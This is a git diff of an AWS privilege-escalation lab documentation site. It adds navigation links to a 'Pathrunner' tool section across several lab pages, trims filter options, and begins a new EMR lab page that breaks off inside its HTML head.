+                    <a href="/pathrunner/payloads" class="sidebar-item sidebar-child" data-tooltip="Payloads">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M12 2L2 7l10 5 10-5-10-5z"/><polyline points="2 17 12 22 22 17"/><polyline points="2 12 12 17 22 12"/></svg>
+                        <span class="sidebar-label">Payloads</span>
+                    </a>
+                </div>
+            </div>
         </nav>
 
         <button id="sidebar-collapse-toggle" class="sidebar-collapse-btn" data-tooltip="Collapse">
@@ -331,18 +371,12 @@
                     <div class="filter-pill-item" data-value="Privilege Escalation">Privilege Escalation</div>
                     <div class="filter-pill-item" data-value="CSPM: Misconfig">CSPM: Misconfig</div>
                     <div class="filter-pill-item" data-value="CSPM: Toxic Combination">Toxic Combination</div>
-                    <div class="filter-pill-item" data-value="Tool Testing">Tool Testing</div>
-                    <div class="filter-pill-item" data-value="CTF">CTF</div>
-                    <div class="filter-pill-item" data-value="Attack Simulation">Attack Simulation</div>
                 </div>
                 <select id="category-filter" hidden>
                     <option value="">All Categories</option>
                     <option value="Privilege Escalation">Privilege Escalation</option>
                     <option value="CSPM: Misconfig">CSPM Misconfiguration</option>
                     <option value="CSPM: Toxic Combination">Toxic Combination</option>
-                    <option value="Tool Testing">Tool Testing</option>
-                    <option value="CTF">CTF</option>
-                    <option value="Attack Simulation">Attack Simulation</option>
                 </select>
             </div>
 
@@ -355,7 +389,6 @@
                     <div class="filter-pill-item" data-value="one-hop">One-Hop</div>
                     <div class="filter-pill-item" data-value="multi-hop">Multi-Hop</div>
                     <div class="filter-pill-item" data-value="cross-account">Cross-Account</div>
-                    <div class="filter-pill-item" data-value="attack-simulation">Attack Simulation</div>
                 </div>
                 <select id="path-type-filter" hidden>
                     <option value="">All Types</option>
@@ -363,7 +396,6 @@
                     <option value="one-hop">One-Hop</option>
                     <option value="multi-hop">Multi-Hop</option>
                     <option value="cross-account">Cross-Account</option>
-                    <option value="attack-simulation">Attack Simulation</option>
                 </select>
             </div>
 
diff --git a/docs/labs/ecs-006/index.html b/docs/labs/ecs-006/index.html
index a928fb45..762504ed 100644
--- a/docs/labs/ecs-006/index.html
+++ b/docs/labs/ecs-006/index.html
@@ -91,6 +91,7 @@
                     </div>
                 </div>
                 <a href="/labs/" class="nav-link active">Labs</a>
+                <a href="/pathrunner/" class="nav-link">Pathrunner</a>
             </nav>
             <div class="header-right">
                 <a href="https://securitylabs.datadoghq.com" target="_blank" class="datadog-logo-link" aria-label="Visit Datadog Security Labs">
@@ -149,6 +150,14 @@
                     <a href="/labs/" class="mobile-nav-link mobile-nav-child">Labs Catalog</a>
                     <a href="/labs/getting-started/" class="mobile-nav-link mobile-nav-child">Getting Started</a>
                 </div>
+                <div class="mobile-nav-group">
+                    <span class="mobile-nav-parent">Pathrunner</span>
+                    <a href="/pathrunner/" class="mobile-nav-link mobile-nav-child">Overview</a>
+                    <a href="/pathrunner/getting-started" class="mobile-nav-link mobile-nav-child">Getting Started</a>
+                    <a href="/pathrunner/commands" class="mobile-nav-link mobile-nav-child">Commands</a>
+                    <a href="/pathrunner/modules" class="mobile-nav-link mobile-nav-child">Exploit Modules</a>
+                    <a href="/pathrunner/payloads" class="mobile-nav-link mobile-nav-child">Payloads</a>
+                </div>
             </nav>
         </div>
     </div>
@@ -197,6 +206,37 @@
                     </a>
                 </div>
             </div>
+
+            <hr class="sidebar-divider">
+            <div class="sidebar-group" id="sidebar-group-pathrunner">
+                <button class="sidebar-group-toggle" data-tooltip="Pathrunner">
+                    <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="4 17 10 11 4 5"/><line x1="12" y1="19" x2="20" y2="19"/></svg>
+                    <span class="sidebar-label">Pathrunner</span>
+                    <svg class="sidebar-chevron" width="16" height="16" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="9 18 15 12 9 6"/></svg>
+                </button>
+                <div class="sidebar-group-items">
+                    <a href="/pathrunner/" class="sidebar-item sidebar-child" data-tooltip="Overview">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><rect x="3" y="3" width="7" height="7"/><rect x="14" y="3" width="7" height="7"/><rect x="14" y="14" width="7" height="7"/><rect x="3" y="14" width="7" height="7"/></svg>
+                        <span class="sidebar-label">Overview</span>
+                    </a>
+                    <a href="/pathrunner/getting-started" class="sidebar-item sidebar-child" data-tooltip="Getting Started">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="10"/><polygon points="16.24 7.76 14.12 14.12 7.76 16.24 9.88 9.88 16.24 7.76"/></svg>
+                        <span class="sidebar-label">Getting Started</span>
+                    </a>
+                    <a href="/pathrunner/commands" class="sidebar-item sidebar-child" data-tooltip="Commands">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="4 17 10 11 4 5"/><line x1="12" y1="19" x2="20" y2="19"/></svg>
+                        <span class="sidebar-label">Commands</span>
+                    </a>
+                    <a href="/pathrunner/modules" class="sidebar-item sidebar-child" data-tooltip="Exploit Modules">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 16V8a2 2 0 0 0-1-1.73l-7-4a2 2 0 0 0-2 0l-7 4A2 2 0 0 0 3 8v8a2 2 0 0 0 1 1.73l7 4a2 2 0 0 0 2 0l7-4A2 2 0 0 0 21 16z"/><polyline points="3.27 6.96 12 12.01 20.73 6.96"/><line x1="12" y1="22.08" x2="12" y2="12"/></svg>
+                        <span class="sidebar-label">Exploit Modules</span>
+                    </a>
+                    <a href="/pathrunner/payloads" class="sidebar-item sidebar-child" data-tooltip="Payloads">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M12 2L2 7l10 5 10-5-10-5z"/><polyline points="2 17 12 22 22 17"/><polyline points="2 12 12 17 22 12"/></svg>
+                        <span class="sidebar-label">Payloads</span>
+                    </a>
+                </div>
+            </div>
         </nav>
 
         <button id="sidebar-collapse-toggle" class="sidebar-collapse-btn" data-tooltip="Collapse">
@@ -331,18 +371,12 @@
                     <div class="filter-pill-item" data-value="Privilege Escalation">Privilege Escalation</div>
                     <div class="filter-pill-item" data-value="CSPM: Misconfig">CSPM: Misconfig</div>
                     <div class="filter-pill-item" data-value="CSPM: Toxic Combination">Toxic Combination</div>
-                    <div class="filter-pill-item" data-value="Tool Testing">Tool Testing</div>
-                    <div class="filter-pill-item" data-value="CTF">CTF</div>
-                    <div class="filter-pill-item" data-value="Attack Simulation">Attack Simulation</div>
                 </div>
                 <select id="category-filter" hidden>
                     <option value="">All Categories</option>
                     <option value="Privilege Escalation">Privilege Escalation</option>
                     <option value="CSPM: Misconfig">CSPM Misconfiguration</option>
                     <option value="CSPM: Toxic Combination">Toxic Combination</option>
-                    <option value="Tool Testing">Tool Testing</option>
-                    <option value="CTF">CTF</option>
-                    <option value="Attack Simulation">Attack Simulation</option>
                 </select>
             </div>
 
@@ -355,7 +389,6 @@
                     <div class="filter-pill-item" data-value="one-hop">One-Hop</div>
                     <div class="filter-pill-item" data-value="multi-hop">Multi-Hop</div>
                     <div class="filter-pill-item" data-value="cross-account">Cross-Account</div>
-                    <div class="filter-pill-item" data-value="attack-simulation">Attack Simulation</div>
                 </div>
                 <select id="path-type-filter" hidden>
                     <option value="">All Types</option>
@@ -363,7 +396,6 @@
                     <option value="one-hop">One-Hop</option>
                     <option value="multi-hop">Multi-Hop</option>
                     <option value="cross-account">Cross-Account</option>
-                    <option value="attack-simulation">Attack Simulation</option>
                 </select>
             </div>
 
diff --git a/docs/labs/ecs-007/index.html b/docs/labs/ecs-007/index.html
index 937f937a..974c0c93 100644
--- a/docs/labs/ecs-007/index.html
+++ b/docs/labs/ecs-007/index.html
@@ -91,6 +91,7 @@
                     </div>
                 </div>
                 <a href="/labs/" class="nav-link active">Labs</a>
+                <a href="/pathrunner/" class="nav-link">Pathrunner</a>
             </nav>
             <div class="header-right">
                 <a href="https://securitylabs.datadoghq.com" target="_blank" class="datadog-logo-link" aria-label="Visit Datadog Security Labs">
@@ -149,6 +150,14 @@
                     <a href="/labs/" class="mobile-nav-link mobile-nav-child">Labs Catalog</a>
                     <a href="/labs/getting-started/" class="mobile-nav-link mobile-nav-child">Getting Started</a>
                 </div>
+                <div class="mobile-nav-group">
+                    <span class="mobile-nav-parent">Pathrunner</span>
+                    <a href="/pathrunner/" class="mobile-nav-link mobile-nav-child">Overview</a>
+                    <a href="/pathrunner/getting-started" class="mobile-nav-link mobile-nav-child">Getting Started</a>
+                    <a href="/pathrunner/commands" class="mobile-nav-link mobile-nav-child">Commands</a>
+                    <a href="/pathrunner/modules" class="mobile-nav-link mobile-nav-child">Exploit Modules</a>
+                    <a href="/pathrunner/payloads" class="mobile-nav-link mobile-nav-child">Payloads</a>
+                </div>
             </nav>
         </div>
     </div>
@@ -197,6 +206,37 @@
                     </a>
                 </div>
             </div>
+
+            <hr class="sidebar-divider">
+            <div class="sidebar-group" id="sidebar-group-pathrunner">
+                <button class="sidebar-group-toggle" data-tooltip="Pathrunner">
+                    <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="4 17 10 11 4 5"/><line x1="12" y1="19" x2="20" y2="19"/></svg>
+                    <span class="sidebar-label">Pathrunner</span>
+                    <svg class="sidebar-chevron" width="16" height="16" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="9 18 15 12 9 6"/></svg>
+                </button>
+                <div class="sidebar-group-items">
+                    <a href="/pathrunner/" class="sidebar-item sidebar-child" data-tooltip="Overview">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><rect x="3" y="3" width="7" height="7"/><rect x="14" y="3" width="7" height="7"/><rect x="14" y="14" width="7" height="7"/><rect x="3" y="14" width="7" height="7"/></svg>
+                        <span class="sidebar-label">Overview</span>
+                    </a>
+                    <a href="/pathrunner/getting-started" class="sidebar-item sidebar-child" data-tooltip="Getting Started">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="10"/><polygon points="16.24 7.76 14.12 14.12 7.76 16.24 9.88 9.88 16.24 7.76"/></svg>
+                        <span class="sidebar-label">Getting Started</span>
+                    </a>
+                    <a href="/pathrunner/commands" class="sidebar-item sidebar-child" data-tooltip="Commands">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="4 17 10 11 4 5"/><line x1="12" y1="19" x2="20" y2="19"/></svg>
+                        <span class="sidebar-label">Commands</span>
+                    </a>
+                    <a href="/pathrunner/modules" class="sidebar-item sidebar-child" data-tooltip="Exploit Modules">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 16V8a2 2 0 0 0-1-1.73l-7-4a2 2 0 0 0-2 0l-7 4A2 2 0 0 0 3 8v8a2 2 0 0 0 1 1.73l7 4a2 2 0 0 0 2 0l7-4A2 2 0 0 0 21 16z"/><polyline points="3.27 6.96 12 12.01 20.73 6.96"/><line x1="12" y1="22.08" x2="12" y2="12"/></svg>
+                        <span class="sidebar-label">Exploit Modules</span>
+                    </a>
+                    <a href="/pathrunner/payloads" class="sidebar-item sidebar-child" data-tooltip="Payloads">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M12 2L2 7l10 5 10-5-10-5z"/><polyline points="2 17 12 22 22 17"/><polyline points="2 12 12 17 22 12"/></svg>
+                        <span class="sidebar-label">Payloads</span>
+                    </a>
+                </div>
+            </div>
         </nav>
 
         <button id="sidebar-collapse-toggle" class="sidebar-collapse-btn" data-tooltip="Collapse">
@@ -331,18 +371,12 @@
                     <div class="filter-pill-item" data-value="Privilege Escalation">Privilege Escalation</div>
                     <div class="filter-pill-item" data-value="CSPM: Misconfig">CSPM: Misconfig</div>
                     <div class="filter-pill-item" data-value="CSPM: Toxic Combination">Toxic Combination</div>
-                    <div class="filter-pill-item" data-value="Tool Testing">Tool Testing</div>
-                    <div class="filter-pill-item" data-value="CTF">CTF</div>
-                    <div class="filter-pill-item" data-value="Attack Simulation">Attack Simulation</div>
                 </div>
                 <select id="category-filter" hidden>
                     <option value="">All Categories</option>
                     <option value="Privilege Escalation">Privilege Escalation</option>
                     <option value="CSPM: Misconfig">CSPM Misconfiguration</option>
                     <option value="CSPM: Toxic Combination">Toxic Combination</option>
-                    <option value="Tool Testing">Tool Testing</option>
-                    <option value="CTF">CTF</option>
-                    <option value="Attack Simulation">Attack Simulation</option>
                 </select>
             </div>
 
@@ -355,7 +389,6 @@
                     <div class="filter-pill-item" data-value="one-hop">One-Hop</div>
                     <div class="filter-pill-item" data-value="multi-hop">Multi-Hop</div>
                     <div class="filter-pill-item" data-value="cross-account">Cross-Account</div>
-                    <div class="filter-pill-item" data-value="attack-simulation">Attack Simulation</div>
                 </div>
                 <select id="path-type-filter" hidden>
                     <option value="">All Types</option>
@@ -363,7 +396,6 @@
                     <option value="one-hop">One-Hop</option>
                     <option value="multi-hop">Multi-Hop</option>
                     <option value="cross-account">Cross-Account</option>
-                    <option value="attack-simulation">Attack Simulation</option>
                 </select>
             </div>
 
diff --git a/docs/labs/ecs-008/index.html b/docs/labs/ecs-008/index.html
index 3f9a6af2..3a57907d 100644
--- a/docs/labs/ecs-008/index.html
+++ b/docs/labs/ecs-008/index.html
@@ -91,6 +91,7 @@
                     </div>
                 </div>
                 <a href="/labs/" class="nav-link active">Labs</a>
+                <a href="/pathrunner/" class="nav-link">Pathrunner</a>
             </nav>
             <div class="header-right">
                 <a href="https://securitylabs.datadoghq.com" target="_blank" class="datadog-logo-link" aria-label="Visit Datadog Security Labs">
@@ -149,6 +150,14 @@
                     <a href="/labs/" class="mobile-nav-link mobile-nav-child">Labs Catalog</a>
                     <a href="/labs/getting-started/" class="mobile-nav-link mobile-nav-child">Getting Started</a>
                 </div>
+                <div class="mobile-nav-group">
+                    <span class="mobile-nav-parent">Pathrunner</span>
+                    <a href="/pathrunner/" class="mobile-nav-link mobile-nav-child">Overview</a>
+                    <a href="/pathrunner/getting-started" class="mobile-nav-link mobile-nav-child">Getting Started</a>
+                    <a href="/pathrunner/commands" class="mobile-nav-link mobile-nav-child">Commands</a>
+                    <a href="/pathrunner/modules" class="mobile-nav-link mobile-nav-child">Exploit Modules</a>
+                    <a href="/pathrunner/payloads" class="mobile-nav-link mobile-nav-child">Payloads</a>
+                </div>
             </nav>
         </div>
     </div>
@@ -197,6 +206,37 @@
                     </a>
                 </div>
             </div>
+
+            <hr class="sidebar-divider">
+            <div class="sidebar-group" id="sidebar-group-pathrunner">
+                <button class="sidebar-group-toggle" data-tooltip="Pathrunner">
+                    <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="4 17 10 11 4 5"/><line x1="12" y1="19" x2="20" y2="19"/></svg>
+                    <span class="sidebar-label">Pathrunner</span>
+                    <svg class="sidebar-chevron" width="16" height="16" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="9 18 15 12 9 6"/></svg>
+                </button>
+                <div class="sidebar-group-items">
+                    <a href="/pathrunner/" class="sidebar-item sidebar-child" data-tooltip="Overview">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><rect x="3" y="3" width="7" height="7"/><rect x="14" y="3" width="7" height="7"/><rect x="14" y="14" width="7" height="7"/><rect x="3" y="14" width="7" height="7"/></svg>
+                        <span class="sidebar-label">Overview</span>
+                    </a>
+                    <a href="/pathrunner/getting-started" class="sidebar-item sidebar-child" data-tooltip="Getting Started">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="10"/><polygon points="16.24 7.76 14.12 14.12 7.76 16.24 9.88 9.88 16.24 7.76"/></svg>
+                        <span class="sidebar-label">Getting Started</span>
+                    </a>
+                    <a href="/pathrunner/commands" class="sidebar-item sidebar-child" data-tooltip="Commands">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="4 17 10 11 4 5"/><line x1="12" y1="19" x2="20" y2="19"/></svg>
+                        <span class="sidebar-label">Commands</span>
+                    </a>
+                    <a href="/pathrunner/modules" class="sidebar-item sidebar-child" data-tooltip="Exploit Modules">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 16V8a2 2 0 0 0-1-1.73l-7-4a2 2 0 0 0-2 0l-7 4A2 2 0 0 0 3 8v8a2 2 0 0 0 1 1.73l7 4a2 2 0 0 0 2 0l7-4A2 2 0 0 0 21 16z"/><polyline points="3.27 6.96 12 12.01 20.73 6.96"/><line x1="12" y1="22.08" x2="12" y2="12"/></svg>
+                        <span class="sidebar-label">Exploit Modules</span>
+                    </a>
+                    <a href="/pathrunner/payloads" class="sidebar-item sidebar-child" data-tooltip="Payloads">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M12 2L2 7l10 5 10-5-10-5z"/><polyline points="2 17 12 22 22 17"/><polyline points="2 12 12 17 22 12"/></svg>
+                        <span class="sidebar-label">Payloads</span>
+                    </a>
+                </div>
+            </div>
         </nav>
 
         <button id="sidebar-collapse-toggle" class="sidebar-collapse-btn" data-tooltip="Collapse">
@@ -331,18 +371,12 @@
                     <div class="filter-pill-item" data-value="Privilege Escalation">Privilege Escalation</div>
                     <div class="filter-pill-item" data-value="CSPM: Misconfig">CSPM: Misconfig</div>
                     <div class="filter-pill-item" data-value="CSPM: Toxic Combination">Toxic Combination</div>
-                    <div class="filter-pill-item" data-value="Tool Testing">Tool Testing</div>
-                    <div class="filter-pill-item" data-value="CTF">CTF</div>
-                    <div class="filter-pill-item" data-value="Attack Simulation">Attack Simulation</div>
                 </div>
                 <select id="category-filter" hidden>
                     <option value="">All Categories</option>
                     <option value="Privilege Escalation">Privilege Escalation</option>
                     <option value="CSPM: Misconfig">CSPM Misconfiguration</option>
                     <option value="CSPM: Toxic Combination">Toxic Combination</option>
-                    <option value="Tool Testing">Tool Testing</option>
-                    <option value="CTF">CTF</option>
-                    <option value="Attack Simulation">Attack Simulation</option>
                 </select>
             </div>
 
@@ -355,7 +389,6 @@
                     <div class="filter-pill-item" data-value="one-hop">One-Hop</div>
                     <div class="filter-pill-item" data-value="multi-hop">Multi-Hop</div>
                     <div class="filter-pill-item" data-value="cross-account">Cross-Account</div>
-                    <div class="filter-pill-item" data-value="attack-simulation">Attack Simulation</div>
                 </div>
                 <select id="path-type-filter" hidden>
                     <option value="">All Types</option>
@@ -363,7 +396,6 @@
                     <option value="one-hop">One-Hop</option>
                     <option value="multi-hop">Multi-Hop</option>
                     <option value="cross-account">Cross-Account</option>
-                    <option value="attack-simulation">Attack Simulation</option>
                 </select>
             </div>
 
diff --git a/docs/labs/ecs-009/index.html b/docs/labs/ecs-009/index.html
index ae06c077..650ccec5 100644
--- a/docs/labs/ecs-009/index.html
+++ b/docs/labs/ecs-009/index.html
@@ -91,6 +91,7 @@
                     </div>
                 </div>
                 <a href="/labs/" class="nav-link active">Labs</a>
+                <a href="/pathrunner/" class="nav-link">Pathrunner</a>
             </nav>
             <div class="header-right">
                 <a href="https://securitylabs.datadoghq.com" target="_blank" class="datadog-logo-link" aria-label="Visit Datadog Security Labs">
@@ -149,6 +150,14 @@
                     <a href="/labs/" class="mobile-nav-link mobile-nav-child">Labs Catalog</a>
                     <a href="/labs/getting-started/" class="mobile-nav-link mobile-nav-child">Getting Started</a>
                 </div>
+                <div class="mobile-nav-group">
+                    <span class="mobile-nav-parent">Pathrunner</span>
+                    <a href="/pathrunner/" class="mobile-nav-link mobile-nav-child">Overview</a>
+                    <a href="/pathrunner/getting-started" class="mobile-nav-link mobile-nav-child">Getting Started</a>
+                    <a href="/pathrunner/commands" class="mobile-nav-link mobile-nav-child">Commands</a>
+                    <a href="/pathrunner/modules" class="mobile-nav-link mobile-nav-child">Exploit Modules</a>
+                    <a href="/pathrunner/payloads" class="mobile-nav-link mobile-nav-child">Payloads</a>
+                </div>
             </nav>
         </div>
     </div>
@@ -197,6 +206,37 @@
                     </a>
                 </div>
             </div>
+
+            <hr class="sidebar-divider">
+            <div class="sidebar-group" id="sidebar-group-pathrunner">
+                <button class="sidebar-group-toggle" data-tooltip="Pathrunner">
+                    <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="4 17 10 11 4 5"/><line x1="12" y1="19" x2="20" y2="19"/></svg>
+                    <span class="sidebar-label">Pathrunner</span>
+                    <svg class="sidebar-chevron" width="16" height="16" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="9 18 15 12 9 6"/></svg>
+                </button>
+                <div class="sidebar-group-items">
+                    <a href="/pathrunner/" class="sidebar-item sidebar-child" data-tooltip="Overview">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><rect x="3" y="3" width="7" height="7"/><rect x="14" y="3" width="7" height="7"/><rect x="14" y="14" width="7" height="7"/><rect x="3" y="14" width="7" height="7"/></svg>
+                        <span class="sidebar-label">Overview</span>
+                    </a>
+                    <a href="/pathrunner/getting-started" class="sidebar-item sidebar-child" data-tooltip="Getting Started">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="10"/><polygon points="16.24 7.76 14.12 14.12 7.76 16.24 9.88 9.88 16.24 7.76"/></svg>
+                        <span class="sidebar-label">Getting Started</span>
+                    </a>
+                    <a href="/pathrunner/commands" class="sidebar-item sidebar-child" data-tooltip="Commands">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="4 17 10 11 4 5"/><line x1="12" y1="19" x2="20" y2="19"/></svg>
+                        <span class="sidebar-label">Commands</span>
+                    </a>
+                    <a href="/pathrunner/modules" class="sidebar-item sidebar-child" data-tooltip="Exploit Modules">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 16V8a2 2 0 0 0-1-1.73l-7-4a2 2 0 0 0-2 0l-7 4A2 2 0 0 0 3 8v8a2 2 0 0 0 1 1.73l7 4a2 2 0 0 0 2 0l7-4A2 2 0 0 0 21 16z"/><polyline points="3.27 6.96 12 12.01 20.73 6.96"/><line x1="12" y1="22.08" x2="12" y2="12"/></svg>
+                        <span class="sidebar-label">Exploit Modules</span>
+                    </a>
+                    <a href="/pathrunner/payloads" class="sidebar-item sidebar-child" data-tooltip="Payloads">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M12 2L2 7l10 5 10-5-10-5z"/><polyline points="2 17 12 22 22 17"/><polyline points="2 12 12 17 22 12"/></svg>
+                        <span class="sidebar-label">Payloads</span>
+                    </a>
+                </div>
+            </div>
         </nav>
 
         <button id="sidebar-collapse-toggle" class="sidebar-collapse-btn" data-tooltip="Collapse">
@@ -331,18 +371,12 @@
                     <div class="filter-pill-item" data-value="Privilege Escalation">Privilege Escalation</div>
                     <div class="filter-pill-item" data-value="CSPM: Misconfig">CSPM: Misconfig</div>
                     <div class="filter-pill-item" data-value="CSPM: Toxic Combination">Toxic Combination</div>
-                    <div class="filter-pill-item" data-value="Tool Testing">Tool Testing</div>
-                    <div class="filter-pill-item" data-value="CTF">CTF</div>
-                    <div class="filter-pill-item" data-value="Attack Simulation">Attack Simulation</div>
                 </div>
                 <select id="category-filter" hidden>
                     <option value="">All Categories</option>
                     <option value="Privilege Escalation">Privilege Escalation</option>
                     <option value="CSPM: Misconfig">CSPM Misconfiguration</option>
                     <option value="CSPM: Toxic Combination">Toxic Combination</option>
-                    <option value="Tool Testing">Tool Testing</option>
-                    <option value="CTF">CTF</option>
-                    <option value="Attack Simulation">Attack Simulation</option>
                 </select>
             </div>
 
@@ -355,7 +389,6 @@
                     <div class="filter-pill-item" data-value="one-hop">One-Hop</div>
                     <div class="filter-pill-item" data-value="multi-hop">Multi-Hop</div>
                     <div class="filter-pill-item" data-value="cross-account">Cross-Account</div>
-                    <div class="filter-pill-item" data-value="attack-simulation">Attack Simulation</div>
                 </div>
                 <select id="path-type-filter" hidden>
                     <option value="">All Types</option>
@@ -363,7 +396,6 @@
                     <option value="one-hop">One-Hop</option>
                     <option value="multi-hop">Multi-Hop</option>
                     <option value="cross-account">Cross-Account</option>
-                    <option value="attack-simulation">Attack Simulation</option>
                 </select>
             </div>
 
diff --git a/docs/labs/emr-001/index.html b/docs/labs/emr-001/index.html
new file mode 100644
index 00000000..a4378150
--- /dev/null
+++ b/docs/labs/emr-001/index.html
@@ -0,0 +1,735 @@
+<!DOCTYPE html>
+<html lang="en">
+<head>
+    <meta charset="UTF-8">
+    <meta name="viewport" content="width=device-width, initial-scale=1.0">
+    <title>EMR RunJobFlow with Admin Instance Profile to Admin - pathfinding.cloud Labs</title>
+    <meta name="description" content="Passing an admin instance profile to an EMR cluster and executing a step via command-runner.jar to attach AdministratorAccess to the starting user">
+    <meta name="generator" content="pathfinding-cloud-lab-stub">
+    <!-- Open Graph / Social Sharing -->
+    <meta property="og:type" content="article">
+    <meta property="og:url" content="https://pathfinding.cloud/labs/emr-001/">
+    <meta property="og:title" content="EMR RunJobFlow with Admin Instance Profile to Admin - pathfinding.cloud Labs">
+    <meta property="og:description" content="Passing an admin instance profile to an EMR cluster and executing a step via command-runner.jar to attach AdministratorAccess to the starting user">
+    <meta property="og:image" content="https://pathfinding.cloud/images/pathfinding-cloud-labs.png">
+    <!-- Twitter Card -->
+    <meta name="twitter:card" content="summary_large_image">
+    <meta name="twitter:title" content="EMR RunJobFlow with Admin Instance Profile to Admin - pathfinding.cloud Labs">
+    <meta name="twitter:description" content="Passing an admin instance profile to an EMR cluster and executing a step via command-runner.jar to attach AdministratorAccess to the starting user">
+    <meta name="twitter:image" content="https://pathfinding.cloud/images/pathfinding-cloud-labs.png">
+    <!-- Favicon -->
+    <link rel="apple-touch-icon" sizes="180x180" href="/apple-touch-icon.png">
+    <link rel="icon" type="image/png" sizes="32x32" href="/favicon-32x32.png">
+    <link rel="icon" type="image/png" sizes="16x16" href="/favicon-16x16.png">
+    <script
+        src="https://www.datadoghq-browser-agent.com/us1/v6/datadog-rum.js"
+        type="text/javascript">
+    </script>
+    <script>
+        window.DD_RUM && window.DD_RUM.init({
+        clientToken: 'pub480324ed2fcb73b641a2eccdd88c1d13',
+        applicationId: '61e8d384-68d8-45b7-a969-3187e0e167ff',
+        site: 'datadoghq.com',
+        service: 'pathfinding.cloud',
+        env: 'prod',
+        sessionSampleRate: 100,
+        sessionReplaySampleRate: 100,
+        trackBfcacheViews: true,
+        defaultPrivacyLevel: 'allow',
+        });
+    </script>
+    <!-- Prevent theme flicker by applying theme before render -->
+    <script>
+        (function() {
+            const savedTheme = localStorage.getItem('theme') || 'light';
+            if (savedTheme === 'light') {
+                document.documentElement.classList.add('light-theme');
+            }
+            // Sidebar anti-flicker: apply collapsed class before paint.
+            // Also force-collapse on narrow viewports regardless of saved preference.
+            if (localStorage.getItem('sidebarCollapsed') === 'true' || window.innerWidth < 1600) {
+                document.documentElement.classList.add('sidebar-collapsed');
+            }
+        })();
+    </script>
+    <link rel="stylesheet" href="/css/style.css?v=48">
+    <!-- Google Tag Manager -->
+    <script>(function(w,d,s,l,i){w[l]=w[l]||[];w[l].push({'gtm.start':
+    new Date().getTime(),event:'gtm.js'});var f=d.getElementsByTagName(s)[0],
+    j=d.createElement(s),dl=l!='dataLayer'?'&l='+l:'';j.async=true;j.src=
